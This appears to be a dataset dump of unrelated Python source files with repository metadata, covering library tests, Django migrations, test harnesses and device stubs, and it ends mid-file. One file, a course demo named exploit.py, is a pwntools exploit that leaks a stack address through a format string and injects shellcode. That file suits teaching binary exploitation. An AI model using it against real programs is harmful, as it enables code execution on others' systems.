import argparse import ffmpeg import numpy as np import cv2 import os import os.path import sys sys.path.append(os.getcwd()) quality_thr = 1 def check_rotation(path_video_file): rotateCode = None try: meta_dict = ffmpeg.probe(path_video_file) for stream in meta_dict['stre...
true
true
f75b35b55bfbf5600bed671ed82b5d33d975ecb4
678
py
Python
tests/test_converters.py
jobscry/soc-analyst
95f3736017a3960c5fe1bd3b93e8b89418f5f527
[ "MIT" ]
null
null
null
tests/test_converters.py
jobscry/soc-analyst
95f3736017a3960c5fe1bd3b93e8b89418f5f527
[ "MIT" ]
null
null
null
tests/test_converters.py
jobscry/soc-analyst
95f3736017a3960c5fe1bd3b93e8b89418f5f527
[ "MIT" ]
null
null
null
from analyst.converters import LowerCaseAlphaNumConverter, IPV4Converter def test_lowercasealphanumconverter_good(): value = "NotAlphaNum 123!" converter = LowerCaseAlphaNumConverter() assert converter.convert(value) is None def test_lowercasealphanumconverter_bad(): value = "IsAlphaNum-123" con...
26.076923
72
0.746313
from analyst.converters import LowerCaseAlphaNumConverter, IPV4Converter def test_lowercasealphanumconverter_good(): value = "NotAlphaNum 123!" converter = LowerCaseAlphaNumConverter() assert converter.convert(value) is None def test_lowercasealphanumconverter_bad(): value = "IsAlphaNum-123" con...
true
true
f75b365be6419020ad825803319e83c84af0cae6
6,813
py
Python
story/commands/repl/Repl.py
jayvdb/cli
6e03af2b2d1e6d6f0188d405617a95dca86072c8
[ "Apache-2.0" ]
null
null
null
story/commands/repl/Repl.py
jayvdb/cli
6e03af2b2d1e6d6f0188d405617a95dca86072c8
[ "Apache-2.0" ]
null
null
null
story/commands/repl/Repl.py
jayvdb/cli
6e03af2b2d1e6d6f0188d405617a95dca86072c8
[ "Apache-2.0" ]
null
null
null
# # -*- coding: utf-8 -*- # # import json # import os # import re # import sys # # import click # # import click_spinner # # import emoji # # from prompt_toolkit import PromptSession # from prompt_toolkit.auto_suggest import AutoSuggestFromHistory # from prompt_toolkit.history import FileHistory # from prompt_toolkit.k...
29.881579
79
0.513577
# Handle output from the Engine # """ # Save the stort to a file path # """
true
true
f75b369dd3fa3b78d432aa0b2d42f08158c07c3e
495
py
Python
apps/webcast/urls.py
Mozilla-GitHub-Standards/93f18f14efcf5fdfc0e04f9bf247f66baf46663f37b1d2087ab8d850abc90803
4e374b4d52dfb9039ebe543e7f27682189022307
[ "BSD-3-Clause" ]
2
2015-04-06T15:20:29.000Z
2016-12-30T12:25:11.000Z
apps/webcast/urls.py
Mozilla-GitHub-Standards/93f18f14efcf5fdfc0e04f9bf247f66baf46663f37b1d2087ab8d850abc90803
4e374b4d52dfb9039ebe543e7f27682189022307
[ "BSD-3-Clause" ]
2
2019-02-17T17:38:02.000Z
2019-03-28T03:49:16.000Z
apps/webcast/urls.py
Mozilla-GitHub-Standards/93f18f14efcf5fdfc0e04f9bf247f66baf46663f37b1d2087ab8d850abc90803
4e374b4d52dfb9039ebe543e7f27682189022307
[ "BSD-3-Clause" ]
1
2019-03-28T03:49:18.000Z
2019-03-28T03:49:18.000Z
from django.conf.urls.defaults import patterns, url urlpatterns = patterns( 'webcast.views', url(r'^$', 'webcast_list', {'slug': 'all'}, name='object_list'), url(r'^upcoming/$', 'webcast_list', {'slug': 'upcoming'}, name='upcoming'), url(r'^mine/$', 'upcoming', name='upcoming_mine'), url(r'^assigne...
38.076923
79
0.60404
from django.conf.urls.defaults import patterns, url urlpatterns = patterns( 'webcast.views', url(r'^$', 'webcast_list', {'slug': 'all'}, name='object_list'), url(r'^upcoming/$', 'webcast_list', {'slug': 'upcoming'}, name='upcoming'), url(r'^mine/$', 'upcoming', name='upcoming_mine'), url(r'^assigne...
true
true
f75b3800f623feb2343f38be50f233037234848a
91,234
py
Python
pandas/tests/arithmetic/test_datetime64.py
mdengler/pandas
ca010142309076bf24a06ca83fb822915e49fa80
[ "PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause" ]
2
2021-05-07T04:58:36.000Z
2021-05-07T04:58:59.000Z
pandas/tests/arithmetic/test_datetime64.py
mdengler/pandas
ca010142309076bf24a06ca83fb822915e49fa80
[ "PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause" ]
null
null
null
pandas/tests/arithmetic/test_datetime64.py
mdengler/pandas
ca010142309076bf24a06ca83fb822915e49fa80
[ "PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause" ]
2
2021-06-16T07:19:12.000Z
2021-12-16T10:24:44.000Z
# Arithmetic tests for DataFrame/Series/Index/Array classes that should # behave identically. # Specifically for datetime64 and datetime64tz dtypes from datetime import ( datetime, time, timedelta, ) from itertools import ( product, starmap, ) import operator import warnings import numpy as np impo...
36.16092
88
0.580332
from datetime import ( datetime, time, timedelta, ) from itertools import ( product, starmap, ) import operator import warnings import numpy as np import pytest import pytz from pandas._libs.tslibs.conversion import localize_pydatetime from pandas._libs.tslibs.offsets import shift_months from pand...
true
true
f75b392d76ad139f38680b98ef7a303e3505e253
3,628
py
Python
python/146.lru-cache.py
kadaliao/leetcode
32170b1c2ba24b3765d22f9379534651080bab26
[ "MIT" ]
null
null
null
python/146.lru-cache.py
kadaliao/leetcode
32170b1c2ba24b3765d22f9379534651080bab26
[ "MIT" ]
null
null
null
python/146.lru-cache.py
kadaliao/leetcode
32170b1c2ba24b3765d22f9379534651080bab26
[ "MIT" ]
null
null
null
# # @lc app=leetcode.cn id=146 lang=python3 # # [146] LRU缓存机制 # # https://leetcode-cn.com/problems/lru-cache/description/ # # algorithms # Medium (44.80%) # Total Accepted: 27.6K # Total Submissions: 61.5K # Testcase Example: '["LRUCache","put","put","get","put","get","put","get","get","get"]\n[[2],[1,1],[2,2],[1],...
27.074627
140
0.566428
import collections class ListNode: def __init__(self, key, value=None, prev=None, next=None): self.key = key self.value = value self.prev = prev self.next = next class DoubleLinkedList: def __init__(self): self.head = ListNode(None) self.tail = ListNode(None...
true
true
f75b393bebbcaac450bf88e3e2c39cef89f98017
31,653
py
Python
intern/convenience/array.py
jhuapl-boss/intern
cd6513e9f3ef3af02d3a82e3dda5d905a4003d2c
[ "Apache-2.0" ]
15
2017-01-13T23:06:38.000Z
2021-09-22T11:33:02.000Z
intern/convenience/array.py
jhuapl-boss/intern
cd6513e9f3ef3af02d3a82e3dda5d905a4003d2c
[ "Apache-2.0" ]
49
2017-04-26T13:21:26.000Z
2021-11-16T14:03:58.000Z
intern/convenience/array.py
jhuapl-boss/intern
cd6513e9f3ef3af02d3a82e3dda5d905a4003d2c
[ "Apache-2.0" ]
18
2017-02-17T23:12:37.000Z
2021-09-27T08:53:32.000Z
""" Copyright 2018-2021 The Johns Hopkins University Applied Physics Laboratory. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by a...
35.64527
202
0.576691
from typing import Optional, Union, Tuple import abc import json from collections import namedtuple from urllib.parse import unquote from intern.service.boss.httperrorlist import HTTPErrorList from .uri import parse_fquri import numpy as np from intern.resource.boss.resource import ( CollectionResource, C...
true
true
f75b393f1a4ed5b1dd5a208b03feefb41fbd94ad
400
py
Python
home/migrations/0016_standardpage_list_child_pages.py
marcanuy/keraban
c9824a65cc3e6f54f3b68ba272fe556ccded0a11
[ "MIT" ]
4
2020-04-20T05:35:17.000Z
2020-11-27T13:52:49.000Z
home/migrations/0016_standardpage_list_child_pages.py
marcanuy/keraban
c9824a65cc3e6f54f3b68ba272fe556ccded0a11
[ "MIT" ]
12
2018-05-22T14:04:21.000Z
2022-03-11T23:20:57.000Z
home/migrations/0016_standardpage_list_child_pages.py
marcanuy/keraban
c9824a65cc3e6f54f3b68ba272fe556ccded0a11
[ "MIT" ]
null
null
null
# Generated by Django 2.0.5 on 2018-05-28 13:31 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('home', '0015_auto_20180524_2238'), ] operations = [ migrations.AddField( model_name='standardpage', name='list_child...
21.052632
53
0.6125
from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('home', '0015_auto_20180524_2238'), ] operations = [ migrations.AddField( model_name='standardpage', name='list_child_pages', field=models.BooleanField(d...
true
true
f75b3b2def4a1d49e697227307441758807880f3
4,349
py
Python
tests/treegraph/test_mutate.py
GiliardGodoi/steiner-problem-with-evol
6b34f0342b791ae6c65b6d016c37a4d45ab5cdad
[ "MIT" ]
null
null
null
tests/treegraph/test_mutate.py
GiliardGodoi/steiner-problem-with-evol
6b34f0342b791ae6c65b6d016c37a4d45ab5cdad
[ "MIT" ]
5
2021-01-26T17:28:32.000Z
2021-03-14T13:46:48.000Z
tests/treegraph/test_mutate.py
GiliardGodoi/steiner-problem-with-evol
6b34f0342b791ae6c65b6d016c37a4d45ab5cdad
[ "MIT" ]
1
2021-01-25T16:35:59.000Z
2021-01-25T16:35:59.000Z
import unittest from os import path from random import choice from ga4stpg.graph import UGraph, UWGraph from ga4stpg.graph.algorithms import prim from ga4stpg.graph.reader import ReaderORLibrary from ga4stpg.graph.util import is_steiner_tree from ga4stpg.tree.evaluation import EvaluateTreeGraph from ga4stpg.t...
35.357724
81
0.657852
import unittest from os import path from random import choice from ga4stpg.graph import UGraph, UWGraph from ga4stpg.graph.algorithms import prim from ga4stpg.graph.reader import ReaderORLibrary from ga4stpg.graph.util import is_steiner_tree from ga4stpg.tree.evaluation import EvaluateTreeGraph from ga4stpg.t...
true
true
f75b3cf782797b9035697c65f4e0adff9e1c5d2a
952
py
Python
tests/test_config.py
lwang94/sem_size_analysis
803251cdcab3d8304a365df9ac5879fcd9346270
[ "Apache-2.0" ]
2
2020-03-11T08:19:46.000Z
2021-05-25T09:14:11.000Z
tests/test_config.py
lwang94/sem_size_analysis
803251cdcab3d8304a365df9ac5879fcd9346270
[ "Apache-2.0" ]
1
2020-03-11T08:19:34.000Z
2020-03-11T08:19:34.000Z
tests/test_config.py
lwang94/sem_size_analysis
803251cdcab3d8304a365df9ac5879fcd9346270
[ "Apache-2.0" ]
1
2020-05-12T08:23:31.000Z
2020-05-12T08:23:31.000Z
"""Unit tests for the configuration variables""" from ..src import config as cf import numpy as np def test_backendport(): assert isinstance(cf.BACKEND_PORT, int) def test_host(): assert isinstance(cf.HOST, str) def test_model(): assert isinstance(cf.MODEL, str) def test_model_url(): assert isi...
16.701754
48
0.726891
from ..src import config as cf import numpy as np def test_backendport(): assert isinstance(cf.BACKEND_PORT, int) def test_host(): assert isinstance(cf.HOST, str) def test_model(): assert isinstance(cf.MODEL, str) def test_model_url(): assert isinstance(cf.MODEL_URL, str) def test_version(): ...
true
true
f75b3d2c8c29848bfe8e4e7bbca9eb8601868aef
9,727
py
Python
hadoop-ozone/fault-injection-test/network-tests/src/test/blockade/ozone/cluster.py
paulward24/hadoop
d10cff25e8b64d025d7ff4a4fcf1df120d8ab0c4
[ "Apache-2.0" ]
1
2021-04-22T04:20:15.000Z
2021-04-22T04:20:15.000Z
hadoop-ozone/fault-injection-test/network-tests/src/test/blockade/ozone/cluster.py
chenlie84/hadoop
91cc19722796877f134fd04f60229ac47a1bd6e0
[ "Apache-2.0" ]
1
2018-02-23T03:48:05.000Z
2018-02-23T03:48:05.000Z
hadoop-ozone/fault-injection-test/network-tests/src/test/blockade/ozone/cluster.py
chenlie84/hadoop
91cc19722796877f134fd04f60229ac47a1bd6e0
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"...
31.996711
87
0.670402
import logging import os import re import subprocess import yaml import util from os import environ from subprocess import call from blockadeUtils.blockade import Blockade class Command(object): docker = "docker" blockade = "blockade" docker_compose = "docker-compose" ozone = "/opt/hadoop/bin/ozone" freon...
true
true
f75b3d65a68247560c41dbafc498bc734cbb223f
4,595
py
Python
qa/rpc-tests/multi_rpc.py
olivdt/newcoin
7c97b055d56ce12612320522085f6d25d79febf9
[ "MIT" ]
null
null
null
qa/rpc-tests/multi_rpc.py
olivdt/newcoin
7c97b055d56ce12612320522085f6d25d79febf9
[ "MIT" ]
null
null
null
qa/rpc-tests/multi_rpc.py
olivdt/newcoin
7c97b055d56ce12612320522085f6d25d79febf9
[ "MIT" ]
null
null
null
#!/usr/bin/env python2 # Copyright (c) 2015 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # # Test mulitple rpc user config option rpcauth # from test_framework.test_framework import BitcoinTestFrame...
37.663934
129
0.649619
from test_framework.test_framework import BitcoinTestFramework from test_framework.util import * import base64 try: import http.client as httplib except ImportError: import httplib try: import urllib.parse as urlparse except ImportError: import urlparse class HTTPBasicsTest (BitcoinTestFramework): ...
true
true
f75b3df5654997703365f63978dba4c82256cc01
5,758
py
Python
hellosign_sdk/tests/unit_tests/test_request.py
verata-veritatis/hellosign-python-sdk
598f4237c5423b4499a2a972e5693853d878b944
[ "MIT" ]
20
2018-11-01T01:15:21.000Z
2021-08-03T15:23:46.000Z
hellosign_sdk/tests/unit_tests/test_request.py
wehttam0/hellosign-python-sdk
43b0a5af6ee1d12572a7c370ec37c8ad033c6ca2
[ "MIT" ]
46
2018-08-20T21:17:22.000Z
2022-03-25T18:57:24.000Z
hellosign_sdk/tests/unit_tests/test_request.py
wehttam0/hellosign-python-sdk
43b0a5af6ee1d12572a7c370ec37c8ad033c6ca2
[ "MIT" ]
22
2018-10-05T11:31:27.000Z
2022-03-03T04:23:29.000Z
from unittest import TestCase from hellosign_sdk.tests.test_helper import api_key from hellosign_sdk import HSClient from hellosign_sdk.utils import HSRequest, BadRequest import tempfile import os import io # # The MIT License (MIT) # # Copyright (C) 2014 hellosign.com # # Permission is hereby granted, free of charg...
43.293233
80
0.570337
from unittest import TestCase from hellosign_sdk.tests.test_helper import api_key from hellosign_sdk import HSClient from hellosign_sdk.utils import HSRequest, BadRequest import tempfile import os import io class Request(TestCase): def setUp(self): self.client = HSClient(api_key=api_key) def test_g...
true
true
f75b3dfdd403360824b1c421186ab4c01153c2ee
8,588
py
Python
20/mainpt2.py
staadecker/advent-of-code-2020
9ab0703099c750d90e4fa167438f8fc97302c81b
[ "MIT" ]
null
null
null
20/mainpt2.py
staadecker/advent-of-code-2020
9ab0703099c750d90e4fa167438f8fc97302c81b
[ "MIT" ]
null
null
null
20/mainpt2.py
staadecker/advent-of-code-2020
9ab0703099c750d90e4fa167438f8fc97302c81b
[ "MIT" ]
null
null
null
FILE = "input.txt" MONSTER = """ # # ## ## ### # # # # # # """ class DirectionalEdge: def __init__(self, value, to_tile=None, tile_side=None, is_flipped=None): self.value = value self.to_tile = to_tile self.tile_side = tile_side self.is_flipped =...
27.79288
113
0.557406
FILE = "input.txt" MONSTER = """ # # ## ## ### # # # # # # """ class DirectionalEdge: def __init__(self, value, to_tile=None, tile_side=None, is_flipped=None): self.value = value self.to_tile = to_tile self.tile_side = tile_side self.is_flipped =...
true
true
f75b3ef63ba4ad5f6a20d97bacd69f1501f3a511
1,059
py
Python
joke/jokelist/migrations/0002_auto_20170307_1424.py
zhenhua32/djangodemo
511f3b2f1806a7d968f1d5a495a0f1176dccc478
[ "MIT" ]
null
null
null
joke/jokelist/migrations/0002_auto_20170307_1424.py
zhenhua32/djangodemo
511f3b2f1806a7d968f1d5a495a0f1176dccc478
[ "MIT" ]
null
null
null
joke/jokelist/migrations/0002_auto_20170307_1424.py
zhenhua32/djangodemo
511f3b2f1806a7d968f1d5a495a0f1176dccc478
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-03-07 06:24 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('jokelist', '0001_initial'), ] operations = [ migrations.RemoveField( ...
24.627907
48
0.536355
from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('jokelist', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='imgjoke', name='datatype', ), ...
true
true
f75b3f3475fdfee62206545982e434bf9ab73383
780
py
Python
week6/demos/exploit.py
CS395-BinX/CS395-BinX.github.io
fff0403fdb6cb1d4e6f5842989160e21eecb15e3
[ "MIT" ]
3
2022-01-01T18:36:53.000Z
2022-01-28T20:17:04.000Z
week6/demos/exploit.py
CS395-BinX/CS395-BinX.github.io
fff0403fdb6cb1d4e6f5842989160e21eecb15e3
[ "MIT" ]
null
null
null
week6/demos/exploit.py
CS395-BinX/CS395-BinX.github.io
fff0403fdb6cb1d4e6f5842989160e21eecb15e3
[ "MIT" ]
2
2021-12-29T21:28:29.000Z
2021-12-30T12:18:40.000Z
#!/usr/bin/env python3 from pwn import * # Open up the process p = process("./buffers", stdin=PTY) print(p.recv()) # Leak the fourth pointer from memory p.sendline("%4$p") addr = p.recvline().strip() addr = int(addr, 16) addr = addr - 112 addr = p64(addr) # Generate the payload shellcode = b"\x48\x81\xec\x2c\x01\x0...
32.5
355
0.710256
from pwn import * p = process("./buffers", stdin=PTY) print(p.recv()) p.sendline("%4$p") addr = p.recvline().strip() addr = int(addr, 16) addr = addr - 112 addr = p64(addr) shellcode = b"\x48\x81\xec\x2c\x01\x00\x00\x48\x31\xc0\x48\x31\xff\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\...
true
true
f75b3fe5da6e645c7848f85cd7589cb4c81f5304
9,329
py
Python
examples/plot_inverse.py
annapasca/ephypype
6dbacdd6913234a28b690b401862ff062accecc7
[ "BSD-3-Clause" ]
18
2018-04-18T12:14:52.000Z
2022-02-25T19:31:44.000Z
examples/plot_inverse.py
annapasca/ephypype
6dbacdd6913234a28b690b401862ff062accecc7
[ "BSD-3-Clause" ]
106
2017-12-09T13:34:30.000Z
2022-03-12T01:02:17.000Z
examples/plot_inverse.py
annapasca/ephypype
6dbacdd6913234a28b690b401862ff062accecc7
[ "BSD-3-Clause" ]
13
2017-05-28T20:38:56.000Z
2022-03-06T15:58:02.000Z
""" .. _source_reconstruction: ======================== Compute inverse solution ======================== The inverse solution pipeline performs source reconstruction starting either from raw/epoched data (*.fif* format) specified by the user or from the output of the Preprocessing pipeline (cleaned raw data). """ # ...
42.022523
98
0.639082
import os.path as op import numpy as np import nipype.pipeline.engine as pe import nipype.interfaces.io as nio import ephypype from ephypype.nodes import create_iterator from ephypype.datasets import fetch_omega_dataset base_path = op.join(op.dirname(ephypype.__file__), '..', 'examples') data_path = fetch_omega_...
true
true
f75b40c3480738a902d0403eb33d7fe899976631
2,196
py
Python
mozillians/users/migrations/0015_auto_20170323_1202.py
mozilla/vouched-mozillians
88fca9aea0ab1e173cbc33776aa388b956859559
[ "BSD-3-Clause" ]
1
2020-10-27T12:17:34.000Z
2020-10-27T12:17:34.000Z
mozillians/users/migrations/0015_auto_20170323_1202.py
akatsoulas/vouched-mozillians
6dcfaf61518ff038403b2b3e06ad9b813135b287
[ "BSD-3-Clause" ]
5
2020-09-28T19:04:19.000Z
2020-10-27T19:48:31.000Z
mozillians/users/migrations/0015_auto_20170323_1202.py
akatsoulas/vouched-mozillians
6dcfaf61518ff038403b2b3e06ad9b813135b287
[ "BSD-3-Clause" ]
2
2020-09-22T08:55:10.000Z
2020-09-24T10:40:58.000Z
# -*- coding: utf-8 -*- from django.db import migrations, models from django.db.models import Q def migrate_countries(apps, schema_editor): UserProfile = apps.get_model('users', 'UserProfile') # cities_light data models Country = apps.get_model('cities_light', 'Country') for profile in UserProfile...
29.675676
93
0.640255
from django.db import migrations, models from django.db.models import Q def migrate_countries(apps, schema_editor): UserProfile = apps.get_model('users', 'UserProfile') Country = apps.get_model('cities_light', 'Country') for profile in UserProfile.objects.filter(geo_country__isnull=False): ...
true
true
f75b40c6b426192258ed57bfe8b47eb0d5d75db1
16,061
py
Python
tools/export/uvision/__init__.py
kjbracey-arm/mbed
06a9aa45bb65fab816ce329072c5e0bb4dd7be12
[ "Apache-2.0" ]
null
null
null
tools/export/uvision/__init__.py
kjbracey-arm/mbed
06a9aa45bb65fab816ce329072c5e0bb4dd7be12
[ "Apache-2.0" ]
1
2019-05-30T07:00:30.000Z
2019-06-03T09:31:42.000Z
tools/export/uvision/__init__.py
kjbracey-arm/mbed-os
06a9aa45bb65fab816ce329072c5e0bb4dd7be12
[ "Apache-2.0" ]
null
null
null
from __future__ import print_function, absolute_import from builtins import str import os from os.path import normpath, exists, dirname, join, abspath, relpath import ntpath import copy from collections import namedtuple import shutil from subprocess import Popen, PIPE import re import json from tools.resources impor...
36.011211
142
0.545172
from __future__ import print_function, absolute_import from builtins import str import os from os.path import normpath, exists, dirname, join, abspath, relpath import ntpath import copy from collections import namedtuple import shutil from subprocess import Popen, PIPE import re import json from tools.resources impor...
true
true
f75b41380034cadf3b0df2fc19e8a75668f36da7
2,090
py
Python
toonapilib/_version.py
puttenmv/toonapilib
fb7d745c8ef66106fd9d646556b8bd1d7521df81
[ "MIT" ]
16
2018-01-06T17:42:16.000Z
2019-11-22T15:15:33.000Z
toonapilib/_version.py
puttenmv/toonapilib
fb7d745c8ef66106fd9d646556b8bd1d7521df81
[ "MIT" ]
41
2018-01-09T15:32:13.000Z
2021-03-20T09:36:30.000Z
toonapilib/_version.py
puttenmv/toonapilib
fb7d745c8ef66106fd9d646556b8bd1d7521df81
[ "MIT" ]
19
2018-01-09T15:28:27.000Z
2021-01-24T17:04:55.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- # File: _version.py # # Copyright 2017 Costas Tyfoxylos # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including withou...
31.666667
78
0.709091
import os __author__ = '''Costas Tyfoxylos <costas.tyf@gmail.com>''' __docformat__ = '''google''' __date__ = '''09-12-2017''' __copyright__ = '''Copyright 2017, Costas Tyfoxylos''' __license__ = '''MIT''' __maintainer__ = '''Costas Tyfoxylos''' __email__ = '''<costas.tyf@gmail.com>''' __status__ = '''Development''' ...
true
true
f75b4224552c994e2046b0ff8d231d86efcb2479
168
py
Python
tests/model_control/detailed/transf_Integration/model_control_one_enabled_Integration_MovingAverage_Seasonal_Second_AR.py
jmabry/pyaf
afbc15a851a2445a7824bf255af612dc429265af
[ "BSD-3-Clause" ]
null
null
null
tests/model_control/detailed/transf_Integration/model_control_one_enabled_Integration_MovingAverage_Seasonal_Second_AR.py
jmabry/pyaf
afbc15a851a2445a7824bf255af612dc429265af
[ "BSD-3-Clause" ]
1
2019-11-30T23:39:38.000Z
2019-12-01T04:34:35.000Z
tests/model_control/detailed/transf_Integration/model_control_one_enabled_Integration_MovingAverage_Seasonal_Second_AR.py
jmabry/pyaf
afbc15a851a2445a7824bf255af612dc429265af
[ "BSD-3-Clause" ]
null
null
null
import pyaf.tests.model_control.test_ozone_custom_models_enabled as testmod testmod.build_model( ['Integration'] , ['MovingAverage'] , ['Seasonal_Second'] , ['AR'] );
42
90
0.761905
import pyaf.tests.model_control.test_ozone_custom_models_enabled as testmod testmod.build_model( ['Integration'] , ['MovingAverage'] , ['Seasonal_Second'] , ['AR'] );
true
true
f75b422e945f6d8fca51464b8155e36e9ceaf9ab
3,116
py
Python
automaton/lib/plugin.py
nemec/Automaton
eea2f89dc10031fba45c80eb63053480dfc3543f
[ "MIT" ]
6
2016-01-05T09:14:57.000Z
2021-05-17T20:46:46.000Z
automaton/lib/plugin.py
nemec/Automaton
eea2f89dc10031fba45c80eb63053480dfc3543f
[ "MIT" ]
null
null
null
automaton/lib/plugin.py
nemec/Automaton
eea2f89dc10031fba45c80eb63053480dfc3543f
[ "MIT" ]
1
2018-12-18T02:37:24.000Z
2018-12-18T02:37:24.000Z
try: import unittest2 as unittest except ImportError: import unittest from automaton.lib import registrar class UnsuccessfulExecution(Exception): """ UnsuccessfulExecution errors are not necessarily fatal. All they represent is a failure on the service's part to successfully produce normal output. ...
32.8
78
0.723363
try: import unittest2 as unittest except ImportError: import unittest from automaton.lib import registrar class UnsuccessfulExecution(Exception): pass class PluginLoadError(Exception): pass class PluginInterface(object): def __init__(self, registrar): self.registrar = registrar class Registration...
true
true
f75b42cc23ba711c4268ed0160dc140c37276dfe
337
py
Python
cookiecutters/project/{{cookiecutter.module_name}}/{{cookiecutter.module_name}}/apps/rest_api/serializers/profile.py
pythrick/drf-cli
029c1437b21e9eabd6f30477df60bbe18471a319
[ "MIT" ]
7
2020-05-12T01:07:59.000Z
2020-10-07T13:26:45.000Z
cookiecutters/project/{{cookiecutter.module_name}}/{{cookiecutter.module_name}}/apps/rest_api/serializers/profile.py
pythrick/drf-cli
029c1437b21e9eabd6f30477df60bbe18471a319
[ "MIT" ]
7
2020-05-12T16:13:09.000Z
2020-10-07T12:38:44.000Z
cookiecutters/project/{{cookiecutter.module_name}}/{{cookiecutter.module_name}}/apps/rest_api/serializers/profile.py
pythrick/drf-cli
029c1437b21e9eabd6f30477df60bbe18471a319
[ "MIT" ]
null
null
null
# Serializers define the API representation. from django.contrib.auth import get_user_model from rest_framework import serializers User = get_user_model() class ProfileSerializer(serializers.ModelSerializer): class Meta: model = User fields = [ "id", "email", "...
21.0625
53
0.635015
from django.contrib.auth import get_user_model from rest_framework import serializers User = get_user_model() class ProfileSerializer(serializers.ModelSerializer): class Meta: model = User fields = [ "id", "email", "name", ]
true
true
f75b44477725a64db8c67b23a49491e6c24f9e9b
3,820
py
Python
src/test/python/programmingtheiot/part03/integration/connection/CoapClientConnectorTest.py
kiranrameshs/IoT-ConstrainedDeviceApplication
c20a5282dae03e51a5c0e60e06f9e698839253fd
[ "MIT" ]
null
null
null
src/test/python/programmingtheiot/part03/integration/connection/CoapClientConnectorTest.py
kiranrameshs/IoT-ConstrainedDeviceApplication
c20a5282dae03e51a5c0e60e06f9e698839253fd
[ "MIT" ]
null
null
null
src/test/python/programmingtheiot/part03/integration/connection/CoapClientConnectorTest.py
kiranrameshs/IoT-ConstrainedDeviceApplication
c20a5282dae03e51a5c0e60e06f9e698839253fd
[ "MIT" ]
null
null
null
##### # # This class is part of the Programming the Internet of Things # project, and is available via the MIT License, which can be # found in the LICENSE file at the top level of this repository. # # Copyright (c) 2020 by Andrew D. King # import logging import unittest from time import sleep import programmingt...
31.570248
138
0.763874
import logging import unittest from time import sleep import programmingtheiot.common.ConfigConst as ConfigConst from programmingtheiot.common.ConfigUtil import ConfigUtil from programmingtheiot.common.ResourceNameEnum import ResourceNameEnum from programmingtheiot.cda.connection.CoapClientConnector import CoapCli...
true
true
f75b448990194c15255099b2e6d201440cfcad1e
1,491
py
Python
stubs/loboris-esp32_lobo-3_2_24/io.py
RonaldHiemstra/micropython-stubs
d97f879b01f6687baaebef1c7e26a80909c3cff3
[ "MIT" ]
38
2020-10-18T21:59:44.000Z
2022-03-17T03:03:28.000Z
stubs/loboris-esp32_lobo-3_2_24/io.py
RonaldHiemstra/micropython-stubs
d97f879b01f6687baaebef1c7e26a80909c3cff3
[ "MIT" ]
176
2020-10-18T14:31:03.000Z
2022-03-30T23:22:39.000Z
stubs/loboris-esp32_lobo-3_2_24/io.py
RonaldHiemstra/micropython-stubs
d97f879b01f6687baaebef1c7e26a80909c3cff3
[ "MIT" ]
6
2020-12-28T21:11:12.000Z
2022-02-06T04:07:50.000Z
""" Module: 'io' on esp32_LoBo MCU: (sysname='esp32_LoBo', nodename='esp32_LoBo', release='3.2.24', version='ESP32_LoBo_v3.2.24 on 2018-09-06', machine='ESP32 board with ESP32') Stubber: 1.0.0 """ class BufferedWriter: '' def flush(): pass def write(): pass class BytesIO: '' def ...
11.295455
146
0.457411
class BufferedWriter: def flush(): pass def write(): pass class BytesIO: def close(): pass def flush(): pass def getvalue(): pass def read(): pass def readinto(): pass def readline(): pass def seek(): p...
true
true
f75b45706d2f7e2955d97e87c7d116607a7e5434
2,135
py
Python
formation_cf_script/lambda_deepstream_app/run_deepstream.py
rvanderwerf/aws-iot-greengrass-deploy-nvidia-deepstream-on-edge
e8d3cf4d82f1ccd928fc4a6b09cd1812b1300c0e
[ "MIT-0" ]
11
2020-05-05T21:29:23.000Z
2021-11-12T08:26:25.000Z
formation_cf_script/lambda_deepstream_app/run_deepstream.py
rvanderwerf/aws-iot-greengrass-deploy-nvidia-deepstream-on-edge
e8d3cf4d82f1ccd928fc4a6b09cd1812b1300c0e
[ "MIT-0" ]
6
2020-07-23T16:02:36.000Z
2021-02-22T14:37:29.000Z
formation_cf_script/lambda_deepstream_app/run_deepstream.py
rvanderwerf/aws-iot-greengrass-deploy-nvidia-deepstream-on-edge
e8d3cf4d82f1ccd928fc4a6b09cd1812b1300c0e
[ "MIT-0" ]
8
2020-06-23T14:51:03.000Z
2021-09-10T08:03:41.000Z
# ################################################## # Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restriction,...
38.818182
82
0.720375
import greengrasssdk import platform from threading import Timer import subprocess import os import sys import logging logger = logging.getLogger(__name__) logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) client = greengrasssdk.client('iot-data') my_platform = platform.platform() def send_heart_beat(): ...
true
true
f75b467034c0f25c23e3e29f186bff47733d9f6f
5,016
py
Python
nni/retiarii/integration.py
sharpe5/nni
8f2dae23a3eb83a0f472a9bd8c9c3629445bd711
[ "MIT" ]
2
2021-09-14T21:29:09.000Z
2021-11-17T09:52:40.000Z
nni/retiarii/integration.py
sharpe5/nni
8f2dae23a3eb83a0f472a9bd8c9c3629445bd711
[ "MIT" ]
null
null
null
